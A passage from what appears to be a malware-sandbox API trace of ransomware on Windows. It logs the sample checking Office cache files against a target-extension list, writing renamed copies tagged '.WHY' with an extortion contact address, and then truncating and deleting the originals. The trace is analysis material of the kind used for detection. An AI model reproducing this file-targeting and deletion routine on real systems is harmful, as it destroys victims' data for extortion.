lpOverlapped=0x0) returned 1 [0061.313] SetEndOfFile (hFile=0x140) returned 1 [0061.313] CloseHandle (hObject=0x140) returned 1 [0061.321] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.321] SetEndOfFile (hFile=0x1a0) returned 1 [0061.324] CloseHandle (hObject=0x1a0) returned 1 [0061.324] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.324] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.325] lstrlenW (lpString=".doc") returned 4 [0061.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.325] lstrlenW (lpString=".docx") returned 5 [0061.325] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.325] lstrlenW (lpString=".pdf") returned 4 [0061.325] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.325] lstrlenW (lpString=".xls") returned 4 [0061.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.325] lstrlenW (lpString=".xlsx") returned 5 [0061.325] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.325] lstrlenW (lpString=".ppt") returned 4 [0061.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.326] lstrlenW (lpString=".zip") returned 4 [0061.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.326] lstrlenW (lpString=".rar") returned 4 [0061.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.711] lstrlenW (lpString=".bz2") returned 4 [0061.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.711] lstrlenW (lpString=".7z") returned 3 [0061.711] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.711] lstrlenW (lpString=".dbf") returned 4 [0061.711] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.712] lstrlenW (lpString=".1cd") returned 4 [0061.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.712] lstrlenW (lpString=".jpg") returned 4 [0061.712] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.712] lstrlenW (lpString=".doc") returned 4 [0061.712] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.712] lstrlenW (lpString=".docx") returned 5 [0061.712] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.712] lstrlenW (lpString=".pdf") returned 4 [0061.712] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.712] lstrlenW (lpString=".xls") returned 4 [0061.712] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.713] lstrlenW (lpString=".xlsx") returned 5 [0061.713] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.713] lstrlenW (lpString=".ppt") returned 4 [0061.713] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.713] lstrlenW (lpString=".zip") returned 4 [0061.713] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.713] lstrlenW (lpString=".rar") returned 4 [0061.713] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.713] lstrlenW (lpString=".bz2") returned 4 [0061.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.713] lstrlenW (lpString=".7z") returned 3 [0061.713] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.713] lstrlenW (lpString=".dbf") returned 4 [0061.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.714] lstrlenW (lpString=".1cd") returned 4 [0061.714] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.714] lstrlenW (lpString=".jpg") returned 4 [0061.714] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.714] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.714] lstrlenW (lpString="Proofing.xml") returned 12 [0061.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.715] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=811) returned 1 [0061.715] CloseHandle (hObject=0x1dc) returned 1 [0061.715] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0061.716] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.716] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.716] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.716] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.716] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0061.717] GetLastError () returned 0x0 [0061.717] ReadFile (in: hFile=0x1dc, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x32b, lpOverlapped=0x0) returned 1 [0061.723] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x330, lpOverlapped=0x0) returned 1 [0061.726] ReadFile (in: hFile=0x1dc, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.726] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.726] SetEndOfFile (hFile=0x1e0) returned 1 [0061.727] CloseHandle (hObject=0x1e0) returned 1 [0061.730] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.730] SetEndOfFile (hFile=0x1dc) returned 1 [0061.733] CloseHandle (hObject=0x1dc) returned 1 [0061.733] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.733] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0061.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.734] lstrlenW (lpString=".doc") returned 4 [0061.734] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.734] lstrlenW (lpString=".docx") returned 5 [0061.734] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0061.734] lstrlenW (lpString=".pdf") returned 4 [0061.734] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.734] lstrlenW (lpString=".xls") returned 4 [0061.734] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.735] lstrlenW (lpString=".xlsx") returned 5 [0061.735] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0061.735] lstrlenW (lpString=".ppt") returned 4 [0061.735] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.735] lstrlenW (lpString=".zip") returned 4 [0061.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.735] lstrlenW (lpString=".rar") returned 4 [0061.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.735] lstrlenW (lpString=".bz2") returned 4 [0061.735] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.735] lstrlenW (lpString=".7z") returned 3 [0061.735] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.735] lstrlenW (lpString=".dbf") returned 4 [0061.736] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.736] lstrlenW (lpString=".1cd") returned 4 [0061.736] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.736] lstrlenW (lpString=".jpg") returned 4 [0061.736] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.736] lstrlenW (lpString=".doc") returned 4 [0061.736] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.736] lstrlenW (lpString=".docx") returned 5 [0061.736] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0061.736] lstrlenW (lpString=".pdf") returned 4 [0061.737] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.737] lstrlenW (lpString=".xls") returned 4 [0061.737] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.737] lstrlenW (lpString=".xlsx") returned 5 [0061.737] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0061.737] lstrlenW (lpString=".ppt") returned 4 [0061.737] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.737] lstrlenW (lpString=".zip") returned 4 [0061.737] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.737] lstrlenW (lpString=".rar") returned 4 [0061.737] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.737] lstrlenW (lpString=".bz2") returned 4 [0061.737] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.737] lstrlenW (lpString=".7z") returned 3 [0061.738] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.738] lstrlenW (lpString=".dbf") returned 4 [0061.738] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.738] lstrlenW (lpString=".1cd") returned 4 [0061.738] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0061.738] lstrlenW (lpString=".jpg") returned 4 [0061.738] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.739] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.739] lstrlenW (lpString="Setup.xml") returned 9 [0061.739] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.739] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=5884) returned 1 [0061.739] CloseHandle (hObject=0x1dc) returned 1 [0061.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0061.740] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.740] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0061.741] GetLastError () returned 0x0 [0061.741] ReadFile (in: hFile=0x1dc, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x16fc, lpOverlapped=0x0) returned 1 [0061.745] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x1700, lpOverlapped=0x0) returned 1 [0061.978] ReadFile (in: hFile=0x1dc, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.979] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.136] SetEndOfFile (hFile=0x1e0) returned 1 [0062.137] CloseHandle (hObject=0x1e0) returned 1 [0062.142] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.142] SetEndOfFile (hFile=0x1dc) returned 1 [0062.145] CloseHandle (hObject=0x1dc) returned 1 [0062.145] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0062.145] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.146] lstrlenW (lpString=".doc") returned 4 [0062.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.146] lstrlenW (lpString=".docx") returned 5 [0062.146] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.146] lstrlenW (lpString=".pdf") returned 4 [0062.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.146] lstrlenW (lpString=".xls") returned 4 [0062.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.146] lstrlenW (lpString=".xlsx") returned 5 [0062.146] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.147] lstrlenW (lpString=".ppt") returned 4 [0062.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.147] lstrlenW (lpString=".zip") returned 4 [0062.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.147] lstrlenW (lpString=".rar") returned 4 [0062.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.147] lstrlenW (lpString=".bz2") returned 4 [0062.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.147] lstrlenW (lpString=".7z") returned 3 [0062.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.147] lstrlenW (lpString=".dbf") returned 4 [0062.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.148] lstrlenW (lpString=".1cd") returned 4 [0062.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.148] lstrlenW (lpString=".jpg") returned 4 [0062.148] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.148] lstrlenW (lpString=".doc") returned 4 [0062.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.148] lstrlenW (lpString=".docx") returned 5 [0062.148] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.149] lstrlenW (lpString=".pdf") returned 4 [0062.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.149] lstrlenW (lpString=".xls") returned 4 [0062.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.149] lstrlenW (lpString=".xlsx") returned 5 [0062.149] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.149] lstrlenW (lpString=".ppt") returned 4 [0062.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.149] lstrlenW (lpString=".zip") returned 4 [0062.149] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.149] lstrlenW (lpString=".rar") returned 4 [0062.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.150] lstrlenW (lpString=".bz2") returned 4 [0062.150] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.150] lstrlenW (lpString=".7z") returned 3 [0062.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.150] lstrlenW (lpString=".dbf") returned 4 [0062.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.150] lstrlenW (lpString=".1cd") returned 4 [0062.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.150] lstrlenW (lpString=".jpg") returned 4 [0062.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.151] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0062.151] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0062.151] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.154] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=1231) returned 1 [0062.154] CloseHandle (hObject=0x1dc) returned 1 [0062.154] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0062.154] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0062.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.155] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.155] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28ffec8 | out: lpNewFilePointer=0x0) returned 1 [0062.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0062.156] GetLastError () returned 0x0 [0062.156] ReadFile (in: hFile=0x1dc, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x4cf, lpOverlapped=0x0) returned 1 [0062.283] WriteFile (in: hFile=0x1e0, lpBuffer=0x2f00020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x28ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesWritten=0x28ffc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0062.285] ReadFile (in: hFile=0x1dc, lpBuffer=0x2f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x28ffed4, lpOverlapped=0x0 | out: lpBuffer=0x2f00020*, lpNumberOfBytesRead=0x28ffed4*=0x0, 